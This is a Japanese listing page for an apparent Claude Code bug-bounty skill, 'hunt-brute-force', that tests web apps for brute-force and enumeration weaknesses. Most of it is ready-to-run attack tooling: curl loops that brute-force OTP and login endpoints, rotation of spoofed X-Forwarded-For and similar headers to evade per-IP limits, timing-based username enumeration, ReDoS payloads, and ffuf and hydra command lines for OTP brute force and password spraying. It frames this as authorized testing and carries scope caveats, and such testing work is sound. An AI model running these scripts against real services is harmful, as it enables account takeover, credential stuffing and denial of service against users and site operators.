hunt-brute-force について
レート制限、ブルートフォース耐性、アカウント列挙を調べる Web セキュリティテストスキルです。防御状態を分類し、報告前に影響を検証します。
主な機能
- 014 種類のレート制限状態を分類
- 02ログインと OTP の防御をテスト
- 03ユーザー名列挙を検出
- 04IP ローテーションによる回避を評価
- 05トークンエントロピーと ReDoS を検証
活用シーン
- 01OTP とリセットコードの保護確認
- 02ログイン制限とアカウントロックのテスト
- 03アカウント情報を列挙できるかの検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-brute-forceインストール後、Claude Code で/hunt-brute-forceを入力して読み込まれたか確認します。
詳細
HUNT-BRUTE-FORCE — レート制限/ブルートフォース/列挙
根拠に関する注記:このスキルは、公表されている手法の分類に基づいており、厳選された HackerOne 報告事例集に基づくものではありません。
report_countは意図的に0としています。検証できない正確な報奨金額や報告 ID を記載しないでください。公開事例として十分な記録がある場合(例:Laxman Muthiyah による Instagram のパスワードリセット OTP の競合状態/ローテーションに関する調査、2019~2021 年)は、報奨金の主張ではなく、手法の参考事例として以下に記載しています。
最重要ターゲット
有効なレート制限なしでの OTP ブルートフォース(6 桁=1,000,000 通り)は、重大度 Critical の ATO バイパスです。
価値の高い攻撃チェーン:
- OTP/2FA のブルートフォース → MFA バイパス → ATO —
/verify-otpに有効なレート制限がなく、000000~999999 の全キー空間にアクセス可能 - パスワードリセットトークンのブルートフォース — 短い/予測可能/有効期限のないトークンとレート制限なしの組み合わせにより ATO(Instagram の 2019 年の事例では、6 桁のリセットコード、リクエスト元ごとのレート制限なし、IP ローテーションを組み合わせ、10^6 通りの試行を現実的なものにしました)
- ユーザー名/メールアドレスの列挙 → 標的型クレデンシャルスタッフィング — 有効/無効の違いを応答文字列、ステータスコード、またはタイミングで判別し、その後、流出した認証情報のリストを使って試行します
- クーポン/ギフトカード/紹介コードのブルートフォース — コード検証にレート制限がなく、金銭的な影響が発生します
- ReDoS — 攻撃者が制御する入力が壊滅的なバックトラッキングを起こす正規表現に到達し、CPU を枯渇させて DoS を引き起こします
自律テストの優先順位
割り当てられたターン数内で作業し、試行回数よりも有用な兆候を優先してください。
自動テストで数百万通りの組み合わせをブルートフォースすることはできません。次の 2 点に注力してください。(1)可能性の高い候補を使った認証情報のスプレー、(2)レート制限が存在するかどうかの検出。
戦略:
- ログインエンドポイントと、想定されるパラメーター名(ユーザー名/メールアドレス、パスワード)を特定します。
- 対象のコンテキストで使われそうな弱い/デフォルトの認証情報を試します。アプリの技術スタックのデフォルト管理者認証情報、テスト環境で使われる単純なパスワード、アプリ内のほかの場所で確認できる認証情報(例:プロフィールで公開されているユーザー名、ドキュメントに記載されたデフォルトパスワード)などです。
- 3~5 回失敗したら、レート制限の兆候(429 ステータス、「試行回数が多すぎます」というメッセージ、CAPTCHA の表示、アカウントロックアウトのメッセージ)を確認します。これらがない場合、レート制限が未実装であり、脆弱性があります。
- 従来型のログインフォームにはフォームエンコーディングを、REST API のログインエンドポイントには JSON を使用します。
成功とみなす兆候:
- 応答本文または Set-Cookie ヘッダーにセッショントークンまたは JWT が含まれている
- 認証済みダッシュボードにリダイレクトされる
- ログイン失敗時の基準応答と異なる応答本文が返される
ユーザー名の列挙(個別の指摘事項): 有効だと分かっているユーザー名と、ランダムなユーザー名を試します。エラーメッセージが異なる(「パスワードが間違っています」と「ユーザーが見つかりません」など)、または応答時間が異なる場合、ログインに成功しなくてもユーザー列挙の脆弱性があります。
重要:4 種類のレート制限状態 — ひとまとめにしないでください
200/401 が返され、429 がないからといって、「レート制限なし」という意味ではありません。429/ロックアウトだけを確認するレート制限スキルは、偽陰性を生みます。結論を出す前に、防御の種類を判定してください。約50件のリクエストを連続送信し、レスポンス全体(ステータス、本文、ヘッダー、レイテンシ、後続処理の成功)を確認します。
| 状態 | シグナル | ブルートフォースは依然として可能か? |
|---|---|---|
| ハードアカウントロックアウト | N 回失敗するとアカウントが無効になり、その後は正しい認証情報でも失敗する | いいえ(ただし、ロックアウト自体がDoSの報告対象となる場合があります) |
| ソフトIPスロットリング | 送信元IPのみを基準とする 429/レイテンシの増加 | はい — ヘッダー/IPのローテーションで回避できます(フェーズ4) |
| CAPTCHAの挿入 | N 回後に、本文がCAPTCHAチャレンジに切り替わるものの 200 が返される | 場合によります — 検証エンドポイントがサーバー側でCAPTCHAを強制しているか、APIパスがCAPTCHAを迂回するか確認してください |
| サイレントなシャドースロットリング | すべてのリクエストに 200/401 が返される一方、送信は破棄される — 本当に正しいOTP/パスワードが受け付けられなくなる、またはレスポンスが定型化される | これが落とし穴です。 単純なループでは「すべて200、429なし」と判断し、「レート制限なし」と報告してしまいます。これは誤りです。 |
シャドースロットリングの検出器 — 既知の位置に既知の正しい値を挿入し、負荷がかかった状態でも機能することを確認します。
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
段階的な調査手法
フェーズ1 — ログインのレート制限テスト(429を数えるだけでなく、分類する)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
フェーズ2 — OTP/2FAのブルートフォース
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
フェーズ3 — ユーザー名/メールアドレスの列挙(文字列、ステータス、タイミングを確認)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
フェーズ3b — レート制限のない登録(大量アカウント作成)
レート制限のないサインアップエンドポイントは、それ自体が不正利用に関する報告対象であり、列挙のための判定手段にとどまりません。*/signup/*/register に連続リクエストを送り(リクエストごとにメールアドレスと送信元をローテーション)、N 個のアカウントが実際に作成され、429/CAPTCHA/ロックアウトが発生しないことを確認します。これは自動化された大量アカウント作成(スパム、プロモーション/紹介の不正利用、リソース枯渇)につながります。単独では低〜中程度ですが、有料/制限付きリソースに連鎖する場合は、より深刻になります。報告済み:reports/2915502。
フェーズ4 — IP/送信元のローテーションによる回避
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
フェーズ5 — トークンのエントロピー(目視で判断せず、測定する)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.
フェーズ6 — ReDoSの検出
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.
自動化
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target
# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
# seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
脆弱性連鎖の表
| 脆弱性 | 連鎖先 | 影響 |
|---|---|---|
| OTPに有効なレート制限がない(10^6通りすべてを試せる) | MFAの回避 → ATO | クリティカル |
| パスワードリセットコードのブルートフォース+IPローテーション | リセット → ATO(Instagram-2019クラス) | クリティカル |
| ログインにレート制限がなく、列挙も可能 | 流出済み認証情報コーパスを使ったクレデンシャルスタッフィング | 高 |
| X-Forwarded-Forなどを使ったIPの回避 | アプリのIP単位の制限をすべて無効化 | 高 |
| 予測可能/低エントロピーのリセットトークン | 有効期間内のトークン推測 → ATO | 高 |
| 公開入力フィールドでのReDoS | 単一リクエストによるCPU枯渇 → DoS | 中〜高 |
| 攻撃者が引き起こせるハードロックアウト | 標的アカウントへのDoS(被害者をロックアウト) | 中 |
検証 — 誤検知を避けるための規律
レポートを作成する前に、以下の各項目を満たしている必要があります。
- OTP/ログインの「レート制限なし」:
429が返らないことだけでなく、4つすべての状態で確認します。 シャドースロットルのシードテストに合格していること(既知の正しい値がバースト負荷時にも認証されます)。 ステータスコードだけでなく、レイテンシとレスポンスボディのサイズも監視します。 - キー空間全体に関する主張:深刻度は、101件のコードを試した結果ではなく、到達可能性の計算(スループット × コードの有効期間と10^6との比較)によって正当化します。レポートには数値を記載します。
- 列挙:20件以上のサンプルで差異を再現でき、サーバーポリシーによるもの(たとえば「このメールアドレスが登録されていれば、送信しました」という一般的なメッセージは列挙ではありません)ではなく、サーバー状態(有効なユーザーと無効なユーザー)の違いであることを確認します。タイミングを比較する場合は、単一リクエストではなく、多数のサンプルの中央値を比較します。
- IPローテーションによる回避:ローテーションをオフにして
429が再び返ることを示し、立証します。この差分が立証の根拠です。高速な実行を1回行っただけでは不十分です。 - トークンのエントロピー:単に「短く見える」という理由ではなく、実測値(Burp Sequencer の実効ビット数、
ent、またはカウンター/タイムスタンプ構造の実証)で裏付けます。 - ReDoS:正常な入力を使った対照比較で、レイテンシが超線形(入力を2倍にしたとき)に増加することを確認します。線形の増加はReDoSではありません。
- スコープ/影響:実際の結果(認証済みセッション、アカウント一覧の漏えい、DoS)に到達しましたか? 到達可能な影響を伴わないレート制限の不備は、Mediumではなく情報提供レベルです。
深刻度:
- OTP/MFA/リセットコードへの効果的なブルートフォース攻撃 → 実証済みのATO経路:Critical
- ログインのレート制限がなく、認証情報スタッフィング/IP回避が可能:High
- 予測可能なセキュリティトークン(低エントロピーを実測):High
- ユーザー名/メールアドレスの列挙のみ:Low–Medium
- 再現可能で意味のあるサーバー遅延を引き起こすReDoS:Medium–High
- 攻撃者が引き起こせるハードロックアウト(アカウントDoS):Medium